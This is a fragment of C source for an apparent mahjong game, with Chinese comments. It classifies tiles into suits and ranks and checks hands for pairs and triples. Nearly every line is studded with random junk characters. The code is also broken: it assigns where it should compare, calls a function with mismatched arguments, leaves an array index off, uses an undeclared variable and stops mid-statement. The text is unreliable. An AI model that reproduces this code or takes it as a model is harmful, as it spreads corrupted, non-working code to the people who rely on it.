else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)6 o& V# Z4 d) N2 |& r" V- g* r/ `
logoo=2;: ]& L6 c( I9 C( W& ]* j  S
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44); h: |6 U' e4 u$ q& R' w5 Z' t) M
logoo=3;3 d# P5 C+ p0 c# k( Z
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
: A+ Q3 P& m* ologoo=4;
& C( e- h5 ~2 S9 V( X+ gelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
$ W# c9 P  R; G9 Plogoo=5;, w; o% f' E! l
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)' s6 X3 o' d! x' c
logoo=6;6 L$ U4 p) H" V9 R8 [7 z
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
) }) Y0 {; s. x6 E. V! h; u9 ?logoo=7;: H% ?! [0 a; z5 ^+ |1 {
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
1 W2 F6 W/ u' A9 k' I: Clogoo=8;
! o& M+ r7 G! [6 X1 s" f$ W9 l# |else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
2 ?! e( C# y' y, P9 _. ilogoo=9;$ ^% Y5 V5 l$ z( G: Z6 X
}
& I0 o' H! D  n7 p: {else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
5 b  D# R" x) H; a  o& n& Y{
* I7 ]6 T' b5 w1 |6 Rlogo=3;  N) Z# h4 }" P5 v3 C! c* {
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
) H( L; r1 ~) z4 ]& ^' Vlogoo=1;
( ?- u) p4 K* M% U. aelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
4 }* F; G" p0 U" }5 E  i7 K& M/ ~% elogoo=2;
1 t9 X9 I, U% J0 s8 o  |else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)$ J; ^+ O; _1 W" U/ h
logoo=3;
9 u* \! `, B/ m& r& V( B6 Nelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)) K$ f: g/ }7 U
logoo=4;
; x: Z! m/ W/ L$ s- J' Melse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
6 e: B4 ?# q' k) Ylogoo=5;9 V0 J9 b8 F# b5 P2 j+ B
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)' v4 O5 a. m' O  \0 P" T
logoo=6;
, {5 q5 q6 \2 p1 f0 Telse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)1 a: k8 h/ q/ {- |
logoo=7;% i3 q" h. \; m" N: u
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
0 S$ c8 e: V, G8 {7 Hlogoo=8;3 k: Z' ^) o$ }3 X) G
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)9 s, f, g, h! ~. E
logoo=9;4 t! k. [9 w$ A8 |6 h" _3 G0 w
}% r: z2 T+ S8 t5 b/ z9 h9 I
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)/ Z1 U! @0 h, |( m3 s2 L3 F! y
{# p* z, z8 g- m# B
logo=4;
' H$ ]% k5 K$ o( {8 _/ {7 ^2 m5 ?if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)9 E) k% u8 v3 M+ \* M, _- x- l7 b
logoo=1;( G, h0 \, S2 e" p* r8 q
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
& R; p" a7 p$ m. @: J! [! W) Flogoo=2;' d8 {8 ~  B7 P/ i3 B7 \
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
' E+ o5 o1 ]+ rlogoo=3;7 {) C0 H" Z  G$ i4 j  y! u
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)3 }. ]! q' I% i5 l" J% }: C
logoo=4;! S. I+ O! G. |: A  u
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124); _9 h, Z+ G) d- b
logoo=5;
+ f* ]; w% {- ~1 {! felse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)' {# C0 ~! a' k! S! Z% W* \
logoo=6;& I( [6 ^" Z% `, M$ [: R4 S% l
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
+ a: v, z/ q8 h1 x. a# ^. m8 ~' ulogoo=7;6 w: j; k" R: A3 P
}
: g3 B* W; T; f, {while(b&lt;=me.m)
/ {4 n$ ^5 T( }0 G{0 H) ?* e% T, {$ S7 N1 O
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
% B- r9 e4 I- O1 ^. D{+ W4 z4 D# W& Z% x1 G/ G& }9 P. F
lg=1;7 J; ^4 y. J: F4 ?9 D8 N6 m% D9 Q; |
me.pp.d[0]=1;
3 x" W9 `0 s" a. |: m; }2 x& Lif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
% b' k/ P9 p+ i% i; b$ T4 y{
  E9 k$ s: o! P4 u4 |, plgg=1;
( S' V/ _3 M/ o/ `me.pp.d[1]=1;
" ^8 z% `( d: i7 T}' f% V( I+ m  f, {
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
* K8 D9 ?' ~# [" V( F) B. }0 G' S{
" ]/ @+ C; X* K8 ]+ R- Wlgg=2;
4 g; B. y! S9 A% W, y  Y* N" `3 p' yme.pp.d[1]=2;* u/ S5 p) w* X. j+ Y& X
}7 {2 h6 J/ m+ g& a
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
6 C0 t: Q  L6 J8 l{
7 A6 P5 l* W% N5 R5 glgg=3;
5 G! V% Z$ d4 _* tme.pp.d[1]=3;6 U; I5 X7 a- u) a
}( o& b/ r( t% ?+ u/ [4 s
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
) F  Q2 l- X; T1 W{
3 R# t6 R6 y: b$ `& ?( I+ N8 Z: u- M% Nlgg=4;
/ e/ q' Y$ P2 T5 f. ~' K( Q9 Mme.pp.d[1]=4;
* U2 }% M0 x4 n: j9 @}3 n0 o# ~9 W! t, j% l
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
3 g* a; F, B  `  y* E5 z/ `1 e{% i. R# a6 `0 ^
lgg=5;" [8 f/ T& Q  @) w$ t1 G7 t
me.pp.d[1]=5;8 b4 H) [! j3 {
}: O8 W$ s; g1 z0 U- S6 z' v" L- W
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)+ r2 \, t4 I& x$ }1 t
{' A0 X" J' K  [7 O# l
lgg=6;. k7 f( s0 v$ ^1 @) L% X2 W
me.pp.d[1]=6;" v8 `" \' @0 M% e# W& f
}
4 [  Q/ h" O7 t. felse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)% [+ x" v. M' i
{
  T# I9 x+ ?  {  V4 Llgg=7;
7 z" [( H3 r  V. h* _8 kme.pp.d[1]=7;* T5 _, m4 ]7 n, |; d
}
; Y1 C+ |% v) ~; lelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
- U$ y) X, C! u{
! G+ X% r$ b2 O" C  `, J  a9 z+ b  K. Ilgg=8;
- {- Y# y* `" p- L! S7 L. E2 W2 v/ m* \me.pp.d[1]=8;. G4 P. h; n- h/ i
}; X2 D% d6 C& p- Y( v8 i, P( l1 n
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
% h. u! S; G) }; V% {, E{5 X% C( J( Y$ j4 B* a6 J3 \$ u
lgg=9;' a1 m1 q, Q9 f4 E* `7 C  L
me.pp.d[1]=9;  x/ F- E" E7 x$ t. g; y, g- g
}6 H7 C; l9 z7 r0 G2 p3 v' w( a  H
}
  s  E1 {  @. _1 m& V! {else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)/ U* @& g; q3 T% Z. [
{" i$ A9 {, J8 y# w, I9 E0 x- _1 R9 r; s
lg=2;7 A) _2 P1 m: F, J* h& a3 y+ B  @
me.pp.d[0]=2;6 `- L4 T7 J' |5 J1 E
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36), n; X$ G; d7 [0 \1 N
{" _4 y6 A5 p0 ~+ j
lgg=1;5 s: C1 x' u9 F8 u4 N; k
me.pp.d[1]=1;5 J9 t0 Y8 a5 {6 c
}
# h7 [1 D. \. jelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)8 l! N, r( x8 `2 H2 E0 }& ^
{
- {/ s9 L) v5 s' O: Vlgg=2;3 \+ D9 p- b; r  i  f$ h+ q
me.pp.d[1]=2;$ _( D* q3 T6 `7 \
}
- n: [% k  ]: Kelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)! W3 W/ B$ \% f2 ?
{
4 Z, }* Q" A+ n7 Plgg=3;
; r& [& M' B1 Rme.pp.d[1]=3;
" U' f( N+ Y" i( a8 D4 O4 R7 @}
; P" _+ a4 p3 F+ q. uelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
7 T* h$ H1 e+ g{: b3 d6 E$ x& ]5 W
lgg=4;2 c: ?& A+ D  I3 q" K& \
me.pp.d[1]=4;' J/ F* P2 G& o4 h' S4 M
}
$ e2 ~+ i3 Z( ?: m6 }/ A9 {else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
0 n2 @& T5 H# P$ I/ P{
+ I& f5 ^! d0 J2 \lgg=5;% u$ R1 `5 ?7 M# A
me.pp.d[1]=5;
% S# @7 v) r9 c% E}+ ^) C/ l- D3 p& B) o' m
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
# a" U1 }; }- d) m7 {; P9 P3 s5 Z{2 \9 U  T# [, `5 w
lgg=6;, J+ h! A: t; X8 t- s9 I
me.pp.d[1]=6;4 p3 D4 c7 V. Q: p7 W$ V4 Z( p3 s
}
) s+ p& H4 F* d7 [5 e  \$ Lelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
2 L1 B8 ^! n( s{+ _! C8 V2 ]1 d+ C: y! J4 T0 {
lgg=7;( Q+ L. H- I- t! }: q8 E) e- g1 a
me.pp.d[1]=7;- x  C) b. v: L8 T6 K' o
}, C6 D* V! m- Q  T
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)1 N: W, M/ v7 x9 |: L- ~" p
{
; \5 k" `) H6 k5 C$ l( V, tlgg=8;
4 X7 C3 u' h0 h. A$ o4 {* ^me.pp.d[1]=8;
& k! a. L6 Y, ^- l" s) E}: X' `& g9 V& a" O
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
0 }7 \4 a: @# t8 i* ^' `/ k' J{
) }; J, o' ], R# r2 Glgg=9;
) c9 A5 T7 \; K( O" I6 b: Ume.pp.d[1]=9;
  [$ i  [  `( Z% |1 V# U( \}* {& B2 H' v: y7 I; u: s
}
4 e; q8 c; k, ^$ d' @: I+ J) ielse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)& B' V! v2 \3 w0 g
{# [  y' Q; T( l9 P6 c& Y
lg=3;! o- L" G  F! n9 w' m% l
me.pp.d[0]=3;- e7 g+ v: P. y9 \- i3 W! U1 }
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
% c9 h- |2 k0 M0 j* z. |3 V{
& e8 T/ r( R. olgg=1;' L/ e8 j. t# I! Y
me.pp.d[1]=1;
9 {* `- _" L4 a. E4 E' O/ e}
- m8 x. j$ ~: O0 Jelse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
; J5 F" W  u. b: K{
9 G% `( c' @6 g% s: olgg=2;6 J7 l! i+ w2 V6 t
me.pp.d[1]=2;
" \* P: B+ `4 G5 `}
' A) D! W( G9 x7 G- O+ w, Relse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)/ x7 G: @5 t6 g" G. ^. z
{
2 @7 p+ I8 p% J7 u  Slgg=3;; N: D5 N' ~4 K. W, q6 U
me.pp.d[1]=3;
+ F/ W  [( {( Y/ s+ a, a/ V}% [+ t5 h2 H$ g: y5 P
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
, S1 L; m' l( ]: A{; E7 p' s2 N7 ^9 @: t( E. O. N! M' B/ ?
lgg=4;
/ j( H$ P" x7 B; sme.pp.d[1]=4;
! ~  b/ q, X; j# q}
$ i; _2 ~6 e1 O; Delse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
7 N6 s2 u8 U; p/ [{
; F2 K  K0 \0 X; plgg=5;
  p+ P/ g+ A5 w. S3 G5 A8 A# ^+ hme.pp.d[1]=5;
& |3 N' b# x& N# x( i  g3 j6 w}2 `- m: ~6 M5 C" b7 h: ~
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92). A" E  p. I& X( X' y. p) p  c; [
{0 `4 u( y) u, b/ L7 u7 P
lgg=6;
' O" g! U+ G1 j3 }: n' t) y& lme.pp.d[1]=6;: g2 Y. M4 {7 `  z& [+ l* x
}
) I" k' F8 D, L! r+ {else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)+ W: `- W8 D3 `* G
{
; [- w1 W8 I5 Y3 o, V8 Elgg=7;
: K5 ]# d, I( s! ^  \. ume.pp.d[1]=7;# \' t% k2 U9 q$ C0 q
}
% D4 B/ M: @1 belse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100); x1 e( x  S# O$ w& O
{
# K( H' K9 A0 R; B2 [; z! nlgg=8;+ ?3 L' w, E: J  S
me.pp.d[1]=8;
% i. f" J  Q3 R# o}
! L3 @4 U1 N9 F$ G2 `else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
' A6 B: G% ~4 ?" o{5 p' O( C# A% b1 r% Z7 y
lgg=9;6 Z* _$ A+ W9 n
me.pp.d[1]=9;
! g3 s% Z, R% J" H- O}
. i& p2 }5 A  ^4 U4 h}# W0 I7 |1 A+ y
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
5 X- w9 k  `, O; d' }: P/ X{  j% R2 B: i& s% F
lg=4;
: E+ r7 ^- Q, S' F, t$ Eme.pp.d[0]=4;
7 e. v# e+ t8 V. E8 Dif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
+ L2 x# z9 B$ b/ Z# t{
! h4 J# V% a  ~7 @; b8 Z) ?lgg=1;
; y% Q9 n( @! j- Eme.pp.d[1]=1;
" _* e& K/ ^' z, ^8 l}
( w: H6 g  D6 qelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)/ r! `) P: F$ H! `$ h2 w
{( t3 e! S; [) o4 Y
lgg=2;) A; N5 I) o0 o  C, @
me.pp.d[1]=2;
& j$ Z- b! _8 w/ |! f) f0 E5 @5 P, T}
6 T; T0 N. D& \# H+ ^; h/ H' {else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
1 C8 F- i+ V4 ?6 x/ r; q6 r8 y- x{* ?" v- a/ ~/ J. j( W
lgg=3;
, g3 t8 ~0 {* W2 qme.pp.d[1]=3;
6 A) X, |" g* @/ |) M2 O: Y}
$ h& d0 L) C0 K" q1 G/ D4 R- celse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
; U) X3 f& d9 F: a, m8 |. p{( [3 W  n$ [' ?" `: R
lgg=4;
% Y5 e4 U' ~8 l9 S0 U3 Dme.pp.d[1]=4;
- _1 p! @" v8 I' i, ]+ u}8 [2 d7 ]1 k! d# V/ @9 [* k
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)+ d9 E" p3 T! l, p0 B' G( i
{
( q" D/ R, G2 E% U2 Klgg=5;5 ~  E! k5 Y9 i' J  d$ \4 Z
me.pp.d[1]=5;
% j  N" U9 y7 E% q8 x; U}
' M; V& a; @" e0 c5 e: Delse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)- |' a/ H4 t' o& G9 v/ B
{
. b" X; v$ O) hlgg=6;2 p: u. z* b: Z3 u" J, ^( b" V) V
me.pp.d[1]=6;) Q/ z6 {! z$ }2 q7 _7 I" i
}
' b# t9 o2 z& k2 K( U& celse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)* x8 N$ a" ^, b9 h5 o  H
{
* z' I# ~$ W' r7 _3 E8 f+ Dlgg=7;
* N+ X3 b( x' j0 \8 w9 }8 w, ^( ^me.pp.d[1]=7;! m* c- ^4 S- q$ a
}
  z3 ?. @0 X' u' [- ]% u}4 M) _4 I8 G& l: [' P- T
}4 y+ g. w! D/ }* T$ z7 d# a( l
}
+ o  ?$ A' A8 A$ cvoid istwo(testt)0 t' i. G' K9 j
int testt[];; h/ D' @$ ~# Y7 A8 n# ?
{ if(testt[0]==testt[1])
& ^! {" d2 d) {1 Esecond++;5 g1 }$ u! U# k
}
6 E# g3 Y3 W3 r6 |. f  O$ o3 g+ jvoid isthree(testt,n)! ]( D# p. Z' ^! P) ]' {. v1 U
int testt[],n=0;4 M! s1 E4 l, ?8 P$ W" N$ y; r
{ int i,j,flage=0,lianx=0,same=0;3 E1 U$ O% ~- [, x# |
n=n/3;
( t4 X* a; O& t& x9 W0 p, Sfor(j=0;j&lt;n;j++)- p/ i7 `* A2 I" `5 L* y
{, c. B2 t! o2 x" ]
for(i=j*3;i&lt;2+j*3;i++)
& O6 v7 g( @" P1 }{8 W7 D! R* L' u' N, ~9 c: v
if(testt==testt[i+1])
! {5 ~3 G( K* ssame++;
& G2 @$ l$ b( }$ `0 u! S$ F% ^if(testt[i+1]-testt==1)- x, W7 C* L3 T4 X
lianx++;
' _% D) J2 v6 x6 q}
5 M( Y* t& H$ f  v/ }' G% fif(same==2)' X& G; h% A. C$ j6 h  z
threes++;. a2 Q4 _& b6 n
if(lianx==2)& E' l6 `4 L, ~$ f
threes++;
$ D- q; k/ o( k: M0 Dsame=0;' ?& L. I7 f7 r$ s$ A* B: p, {
lianx=0;
- p4 L8 ?0 _, w% X- m4 ]6 @0 P}
  P9 m! ~+ w7 s& H4 N& H4 |6 }& `}
& w- ?( o' k$ ^8 n9 z; ]) wvoid panduan() /*本程序的精髓*/! s1 ?* q5 t- c( y
{int data[14];
( l, T' `2 m1 F" Qint pw[14];
' f6 L: Z3 b5 K1 }1 Wint pt[14];7 Y9 R' h: A. r* e9 o& h
int pi[14];
" u2 k( E  N! Q. `3 v1 i6 [8 i: _int pf[14];9 v' k9 D0 h9 f% Y" o$ v$ d1 o
int test[12];
. c" O0 D. `, X' q- N3 [% V* ^) hint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
& j5 B, Z( K  C7 ^3 a: K  |1 Ufor(jj=0;jj&lt;=me.m;jj++)8 v% C0 U( {3 K9 {8 @. o5 ~
{" S& [- Q4 S" t* L& g
if(me.pp[jj].d[0]==1)# S0 _8 o( A- W' p( C& k/ [
data[jj]=me.pp[jj].d[1];
! c& Y$ u, M8 m# X  V, Yif(me.pp[jj].d[0]==2)& S* r: ]) n; n" j
data[jj]=me.pp[jj].d[1]+10;
$ i3 Q- @3 v- e! ]if(me.pp[jj].d[0]==3)8 ^1 y$ g) F- ?, A+ y
data[jj]=me.pp[jj].d[1]+20;7 f7 \; P9 u! t8 F) w+ J
if(me.pp[jj].d[0]==4)
' ?  I; A9 J9 v6 P' R- `data[jj]=me.pp[jj].d[1]+30;
- T, o: [6 O1 S& q% Y! O6 o# p}: a; R% @  N+ J( F7 l
if(logo==2)% m3 N# v  e& \. q' b
w=logoo+10;3 k% d5 H* l) ]7 v7 |8 Z8 Q1 o
if(logo==3)
1 i: Z) ~( o# dw=logoo+20;
- K2 W' y) [! Q0 Gif(logo==4)1 G( Y/ Y2 Q" @3 @+ w  E
w=logoo+30;( w- j, l4 P& g7 U  b& G% b$ n
data[computer.m+1]=w;
9 V0 I, y8 N  H2 }5 z* s( Wfor(mm=0;mm&lt;=computer.m;mm++)
$ V2 w+ B4 `0 w: l7 S& L: sfor(nn=mm;nn&lt;=computer.m;nn++)
# x& J5 t( k3 e$ S. \if(data[mm]&gt;data[nn+1]), q6 O  x6 ^# [6 b
{
2 N$ E7 H1 `5 p) b  F1 p3 d, Rtpp=data[mm];
  Q  ?) s1 P; u4 o" `: {* X. Qdata[mm]=data[nn+1];
/ r# I4 K, _6 D$ Xdata[nn+1]=tpp;+ o6 o$ u& C% }$ W
}- B8 e" r! ]! k* w
lp=0;
6 d8 J% Z4 P- v3 Y8 @1 G5 gwhile(lp&lt;=computer.m)2 {5 [8 u1 |' ]4 {  b
{ if(data[lp]&lt;10)% `6 {+ u+ M( ~! J4 Y
pw[ww++]=data[lp];
5 L: M) }" I2 w: u5 [if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)( G) J, V; e) k. L3 e+ f
pt[tt++]=data[lp];0 }, t% ]& J9 k; p4 @1 U6 [
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)0 L2 t4 k5 }* I% c9 L
pi[ii++]=data[lp];
7 {1 W3 i0 c# A+ I- d, B- K; M: cif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)  E1 e3 ^5 h, F) `( r" u  R
pf[ff++]=data[lp];; W' Y! [; v5 I; Y3 m- ^6 Q
lp++;
3 M% h1 m& g6 F+ ^/ _3 E7 U}# A6 ~9 e* `0 @# L# Q2 d
if(ww==2)
  g+ B9 ]+ _6 s; m! c& F0 }) Cistwo(pw);
( s% O6 O/ Z' n- |3 l& felse if(ww==3)4 B6 [3 ]$ u8 B& H2 l0 c( I3 J
isthree(pw,ww);
( v: j8 ?8 v0 i8 _. B+ L0 aelse if(ww==5)3 ~" ]2 H5 j0 f4 n
/*pw[5]原始牌数组,假设已经升序排列*/5 g; b7 v" B1 h) g
/*test[3]用来放置测试牌的数组*/: M) E, T) I5 Y. D( ~/ \' a0 e
for(i=0;i&lt;4;i++)6 H# c4 A. f9 N1 ^
{
- L& A$ e; R  W% X* b' Xfor(j=0;j&lt;2;j++)% J" V) e  H* x  P* E
{test[j]=pw[i+j];1 C7 F$ U+ x% z* p4 l/ \
}8 Y7 N# E$ s1 A5 W
if(istwo(test))) ?# e# o: P; r$ d: j, p1 `$ x
{ ill=0;( J& R+ b& j' Y0 ]
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/8 y: Y8 A3 L. R* c
{if(kl==i)
4 @! s2 W0 |0 e  X3 O0 |{. c' `0 L& X% V6 E, k9 B3 R8 Z
kl=kl+2;
7 T4 S& a- x3 C, g9 h  Xif(kl==5)
$ a) Z/ c* @8 G9 \break;
  C  q  G7 M; a# f% i}
  F6 y- c; P  J; p9 \test[ill++]=pw[kl];
8 t5 B* I8 j/ E9 X1 v# |0 I}
+ R7 e! m8 K7 x' t5 O, Wisthree(test);% P% ?- w( x' q9 i( A% L
}
: i' U: {6 f$ |! W/ d' Q( R}- R* a. x( d6 d) Y7 O. G" O+ W4 S3 S
else if(ww==6)
0 l' w; e0 X5 O  _) \isthree(pw,ww);
9 ~; Y! ?  z4 [' Q8 eelse if(ww==8)$ i! j3 C( X! |0 o
for(i=0;i&lt;7;i++)  Z) n/ g: b) B/ Z
{- Y/ \: e+ v$ {! w" s- M* G- o
for(j=0;j&lt;2;j++)' |7 u/ ]9 B5 }5 i8 I! u
{test[j]=pw[i+j];
  u# u2 j4 O& J0 g) U}
( ~/ l" ^$ z$ Q. a9 Eif(istwo(test))
/ a  f, p) m. y1 A( `0 @{ ill=0;$ r$ u* O& k* `& g
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/% H  Z* e* p* q+ v) w% S: r4 O$ x
{if(kl==i)$ z, B% ?( ~8 f% _
{: c$ P# D5 j5 @3 L$ q* \
kl=kl+2;
; ^( b8 P" z1 g3 eif(kl==8)
& H' i! r8 G- G! p* O9 |3 u( Ubreak;
& Z" V2 B& T1 d1 B% W) t3 A" O}4 _. b$ j+ T: |8 d+ j6 u$ G2 ^
test[ill++]=pw[kl];- W/ |, ^# H8 O1 I
}4 x$ I2 C: ~3 x9 s/ a
isthree(test,ww-2);
  t- @- K, y. Q! H' T4 _}" I; E. }6 `9 ?% I
} 6 ^; \* w# p* j# }% V" d" {
else if(ww==9)5 ^' Q4 L- [1 W+ E( c) q
isthree(pw,ww);* ~. |' j  \* P( [7 m
else if(ww==11)
; z: F. N& b  |! s( Y5 mfor(i=0;i&lt;10;i++)8 _. P4 ~2 e. n# `) t/ t
{: d5 k9 g& x: z
for(j=0;j&lt;2;j++)+ Q5 Y" Q3 O% w2 @* n+ |
{test[j]=pw[i+j];
: x/ g( O- o+ k8 n, |8 A8 m) E- \3 ~}
2 p! R4 k; c( @3 |4 q5 P7 _% F# ~" J5 @if(istwo(test))
9 v2 ~" z) v" E) |5 j2 o" n) t{ ill=0;& r/ O0 Q( @1 V" b' H
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/' C3 M' }/ [( q* Q7 [  ^
{if(kl==i)# U  o0 k. v+ [* U/ z5 j
{
, y# w* M$ X7 J3 e! ], ]# bkl=kl+2;" D6 |' P& O; ?; y$ k
if(kl==11)
2 d& d$ k% T9 {break;
$ _4 S' B4 q* h0 w0 j}
, X; m9 x5 t6 r+ Ftest[ill++]=pw[kl];
* ]9 t# h3 Z' \  i  ]7 _5 H4 G}5 m/ z# e: n6 \
isthree(test,ww-2); 6 q- b1 \7 L* H+ N9 b' e+ ?
}% z; S) l: D" |& V$ d1 u/ x
} , v9 \+ X+ \$ J% |' v& J
else if(ww=12)
5 G& Q+ [0 C2 }7 y8 Yisthree(pw,ww);
  F6 m" @: E, w% s6 kelse if(ww=14); B) s, Y: j6 {# X8 ?' H0 e. Q
for(i=0;i&lt;13;i++)! v9 E8 z# [! e; r$ w
{
* `/ ]2 k) D5 L$ ]for(j=0;j&lt;2;j++)
- ]5 W4 ^- R: F! [# t$ F{test[j]=pw[i+j];
  y- m9 m9 v4 g! E4 X" U3 s% a+ r}
: C" ~) V8 F# ?) t) vif(istwo(test))7 n6 A. m0 M) K" `- ?+ V
{ ill=0;
1 _1 u6 S* E! w6 f+ f  ?for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/4 X% _- Z, Y2 m! s% X0 F7 V
{if(kl==i)
4 p. H  x8 n. y0 m. x{
: ]# f1 O1 v* J1 a+ _+ E0 {* b! |# A# Ukl=kl+2;
! E/ ~5 [, j4 c2 T# Wif(kl==14)7 Y1 |- `& L5 a4 b6 e
break;& H6 |# D1 {  R) x
}
! S; |8 V6 P- [test[ill++]=pw[kl];
1 ~: u; C' W- b* s/ J}2 m  C6 N8 ?7 _/ p
isthree(test,ww-2);
+ f+ n! u+ {0 l0 r+ ~9 }1 P5 E}
7 q0 o6 d2 z: U2 r4 L2 H) u5 f}, O  L5 _5 |$ B# e! {3 ^
if(tt==2)$ o$ r3 b+ H! B* d) @
istwo(pt);
6 r% _: l: k- V4 welse if(tt==3)' x$ J% D8 H1 C
isthree(pt,tt);- w, X  v3 {; c: K; `9 V
else if(tt==5). Y) |" s* v4 f% S! e
/*pt[5]原始牌数组,假设已经升序排列*/  u* S& ^) d6 x: z
/*test[3]用来放置测试牌的数组*/6 R0 X  V$ C' z! D  j. S
for(i=0;i&lt;4;i++)! X  [3 ]5 R, A* C) {( W
{
, z' y" F1 L8 q8 U9 @- Xfor(j=0;j&lt;2;j++)
9 `( I1 S) o4 n* v9 _/ K{test[j]=pt[i+j];
+ A; b( b9 `# u' N, [6 f# t}/ s0 @( Y# ?; K# U! y# \( G
if(istwo(test))6 s/ O% m' y+ h3 c( V0 ^* V8 |/ A
{ ill=0;
/ I# q/ e- I1 j% Z. gfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
* z" z" U6 k! j% m4 \{if(kl==i)
1 M' j; q- M! i2 D5 I/ f4 Y: t) |{
( l1 T1 A8 ?: W- [2 ^kl=kl+2;
  f6 ~$ s. V: l3 U! u+ T) Pif(kl==5)
! q3 @( V6 L- {3 Ebreak;
. p- y) C1 w# N9 u- O7 G6 M1 F}
; Y+ h( ^7 X  S7 `, R1 ytest[ill++]=pt[kl];
) N; i2 D9 M9 _7 k. l}
" |  t+ ?' W5 Y  D" {& q" N8 j  Tisthree(test);
1 t8 Y6 n  A; }9 J}* L  s3 }: T% H0 C
}4 m- c2 ?. D' I: w& r
else if(tt==6)
' E0 a. f& B6 M4 J! t* s* nisthree(pt,tt);
, w" K+ \! M. @- I; f7 yelse if(tt==8)
8 o. c9 P# A0 Qfor(i=0;i&lt;7;i++)3 ]" D) ]- r1 X7 j& @$ }
{
( s1 l1 h. ?& Y2 ?7 C% Qfor(j=0;j&lt;2;j++)2 A# @, g4 c2 [/ Q2 E) R
{test[j]=pt[i+j]; 5 U" i4 S0 d- \$ X2 J+ i" w
}
8 L. ?3 E% y) U0 b5 ^+ Q( Tif(istwo(test))* a9 S) ^% ]/ c
